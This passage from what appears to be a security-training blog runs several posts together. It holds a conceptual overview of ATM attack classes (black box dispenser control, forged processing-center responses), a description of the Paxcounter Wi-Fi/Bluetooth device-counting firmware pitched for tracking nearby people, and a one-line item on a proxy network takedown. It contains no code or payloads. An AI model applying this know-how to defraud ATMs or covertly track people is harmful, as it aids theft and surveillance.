The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.
4. Firmware Layer
Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone.
The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware.
Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.
ATM Attacks
With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.
Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.
Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.
System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.
Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.
Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there.
We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.
Summary
ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.
Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.
Lately, we’ve covered several tools you can use with your laptop to track nearby devices and people. While they’re useful, their effectiveness depends on the strength of your Bluetooth adapter, and, of course, you need to have your laptop with you.
This time, we’re doing things differently. We want to show you a device that can automatically monitor nearby devices for extended periods, anywhere you choose to place it, and as often as you want. It doesn’t rely solely on Bluetooth, as it also uses Wi-Fi, which is far more likely to be enabled, increasing the chances of detecting someone in your area.
What is Paxcounter
Paxcounter is an open-source firmware project that takes a cheap little ESP32 development board and turns it into a sensor that can count people. Almost every smartphone in the world is constantly sending out small Wi-Fi signals, called probe requests, and Bluetooth signals too, even when the phone is not connected to anything. Paxcounter listens for these signals in the air. It counts how many different devices it hears during each scan, and from that, it can tell you a real time estimate of how many people are nearby.
The project started out as a simple way to measure how many passengers or pedestrians pass through a certain spot. But over time, it grew into something much bigger. Now it works as a general purpose IoT platform, built on hardware that usually costs somewhere between $10 and $30. Besides its main job of counting Wi-Fi and Bluetooth devices, a Paxcounter can also read environmental sensors, track its GPS position, keep accurate time, and send all of that data out through LoRaWAN, MQTT, a local serial connection, or straight onto an SD card.
How the Counting Works
The way Paxcounter counts people is simple, but it was clearly built with privacy in mind from the very start. Every scan cycle, which lasts 60 seconds by default, the device switches its Wi-Fi and Bluetooth radios into scanning mode and listens for probe requests and advertisement packets coming from nearby devices. Each of these packets carries a MAC address. Paxcounter takes just the last two bytes of that address and turns them into a short, temporary ID. This ID is only used to check for duplicates during that one scan cycle. Once the cycle ends, the count of unique IDs gets sent out, and the whole list is wiped from memory. The firmware also does not try to fingerprint any device. It never tries to figure out a phone’s brand, its operating system, or who owns it. All it wants to know is whether that device has already been counted in the current window.
This scan and clear cycle just keeps repeating, either nonstop or on a schedule if deep sleep power saving is turned on. The results, which include the Wi-Fi count, the Bluetooth count, and sometimes live sensor readings too, get packed into a small payload and sent out through whatever channel the device is set up to use. One thing worth knowing is that Wi-Fi and Bluetooth scanning actually share the same 2.4 GHz radio hardware on the ESP32. So running both scans at the same time slightly lowers the accuracy of each one. Because of that, the project’s own advice is to split Wi-Fi only counting and Bluetooth only counting across two separate devices whenever the best possible accuracy is needed for both.
One Firmware, Many Boards
Paxcounter comes with a hardware abstraction layer and its own pin mapping files for dozens of ESP32 and ESP32-S3 boards. These come from well known manufacturers like LILYGO and TTGO, Heltec, Pycom, WeMos, M5Stack, and Adafruit, and there is also a generic template ready for boards that are not officially supported yet. LILYGO even sells a ready-made board called Paxcounter LoRa, built specifically to run this firmware.
Depending on which board you pick, your device can end up supporting a LoRaWAN radio for sending data over long distances while using very little power, an OLED status screen, or a single color, RGB, or larger LED matrix light to show status. It can also support a physical button for flipping through display pages or sending an alarm message, battery voltage monitoring, GPS positioning, a real time clock chip along with IF482 or DCF77 time telegram output, and even an SD card slot for logging data locally when there is no network around.
Because the whole system was designed to be truly portable, the documentation goes into real detail about power draw, which usually sits somewhere between 450 and 1000 milliwatts depending on how the device is set up. It also makes good use of the ESP32’s deep sleep mode, so a device can keep running for a long stretch of time on just one 18650 lithium ion battery cell. Members of the community have already shared several 3D printable enclosure designs on Thingiverse for the more popular boards.
Getting the Device Up and Running
Paxcounter is built using PlatformIO instead of the plain Arduino IDE. This choice lets it work smoothly with editors like Visual Studio Code, Atom, or Eclipse, and it gives the project reproducible, script driven builds. In fact, the repository runs an automated PlatformIO build check every single time the code changes, using GitHub Actions, and there is even a CodeFactor badge that keeps an eye on ongoing code quality.
The configuration is intentionally spread across a handful of different files instead of being crammed into just one. This keeps board specific settings, behavioral settings, and personal settings nicely separated from each other. The platformio.ini file is where you select which board’s hardware profile you want to compile against. The paxcounter.conf file handles behavioral settings, things like how long a scan cycle lasts, sleep timing, and payload options. The shared lmic_config.h file sets the LoRaWAN region and frequency plan, so it matches the rules where you live. The shared loraconf.h file holds the device’s LoRaWAN join credentials, and the project recommends using OTAA rather than ABP for this. And the shared ota.conf file stores the Wi-Fi credentials the device uses for over the air firmware updates.
You can upload firmware the traditional way, over USB, or once a device has joined a LoRaWAN network, you can push updates over the air instead. A remote command tells the board to connect to Wi-Fi, check a hosted repository called PAX.express for a newer build, and then download and flash it automatically. If anything goes wrong during that process, it will roll back to the previous version on its own. Devices can also be set up to open a small local web based bootstrap menu right when they power on, which lets you upload a firmware file manually, even from a phone in tethering mode, without needing PlatformIO installed on site.
Configuration and Extensibility
Beyond just picking a board, Paxcounter gives you a long list of settings you can tune to fit your needs. It can log environmental data from sensors like the Bosch BMP180, BME280, BMP280, or BME680, read a Nova SDS011 particulate matter sensor to track dust in the air, and keep accurate time using either a DS3231 real time clock or a connected GPS module.
Display and LED
On boards that come with an OLED display, Paxcounter shows live status information you can cycle through with a short press of the button. This includes the current pax count, meaning the people count, a histogram of recent activity, GPS status, environmental sensor readings, and the time of day.
A long press of that same button sends an alarm message out over the network instead, which is a simple way to flag a problem from out in the field without needing any other kind of interface. Even on boards that do not have a display at all, a status LED still tells you what the device is doing through its blink pattern. You get a brief flash whenever a new Wi-Fi or Bluetooth device is spotted, a quick blink while the device is joining the LoRaWAN network, a short blink during data transmission, and a slow, long blink if there is a LoRaWAN stack error. Boards that have an RGB LED get a color coded version of these same signals.
How You Receive the Data
Once a Paxcounter has counted the people nearby and packed everything into a message, that data has to go somewhere so you can actually see it. How that happens depends on which output the device is using, and the good news is you can turn on more than one at the same time. If you are using LoRaWAN, which is the most common setup, the device does not send the data straight to you. Instead, a nearby LoRaWAN gateway picks up the signal first and forwards it on to a network server, usually The Things Stack. There is a small decoder script included with the project, and its job is to take that raw message and turn it into numbers you can actually read, something like a pax count of 14. From there, The Things Stack can pass the data along to your own app or dashboard using MQTT or a webhook, or you can simply watch it come in live through the built in console.
If a board does not have LoRa hardware built in, it can just skip the gateway completely and send that same kind of data straight to an MQTT service over Wi-Fi instead. You can also connect the device to a computer using a USB cable and read the numbers directly from a serial connection. This is a simple way to test things out without needing to set up a network at all. If SD card logging is turned on, everything also gets saved locally as a CSV file, so you can pull the card out later and open it up in a spreadsheet. This comes in handy in places where there is no network coverage to rely on.
Where It’s Used
Because a single Paxcounter device is cheap to build and can be left running unattended for a long time, you will find it popping up in a pretty wide range of places. Retailers and shopping centers use it to measure foot traffic without needing to install cameras. Event organizers use it to watch how crowds move around a venue in real time. Pentesters can get a passive read on how many Wi-Fi and Bluetooth devices are active in a building, or to notice unexpected devices showing up where they shouldn’t, all without needing camera access or network credentials.
Legal and Privacy Considerations
Since Paxcounter’s whole job involves listening to wireless traffic, its documentation is unusually upfront about the legal side of things. It points out that sniffing Wi-Fi and Bluetooth MAC addresses may be regulated or restricted depending on where you live, and it links to specific starting references for the US, the UK, the Netherlands and the EU, and Germany. It also makes clear that the legal responsibility for how a device is built and deployed falls on the person doing it, especially for public deployments where the results might get published somewhere. On the technical side of privacy, the project’s own design actually holds up pretty well against that legal backdrop. Identifiers are only ever built from the last two bytes of a scanned MAC address, they are kept in memory just for the length of one scan cycle, and then they are discarded completely. No MAC addresses or identifiers are ever sent out over the network, and the firmware does not do any extra tracking or fingerprinting of the devices it scans.
Summary
What really makes Paxcounter stand out is not any single feature on its own. It is the whole combination working together. One piece of open source firmware supports dozens of cheap boards, runs for a long time on a small battery, counts people without saving anything identifying about them, doubles as a general environmental sensor node, speaks LoRaWAN, MQTT, serial, and SD card all at once, and can be fully reconfigured from a distance once it is out in the field. The full source code, the complete board list, and all the documentation are available on GitHub.
If you enjoy experimenting with frequencies and trying new things, we recommend signing up for our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.
Google announced that it helped take down NetNut, a 2 million strong malicious residential proxy network. The incident highlights the growing risks posed by residential proxy networks that quietly conscript consumer devices into services used by cybercriminals and nation-state actors alike.
Login
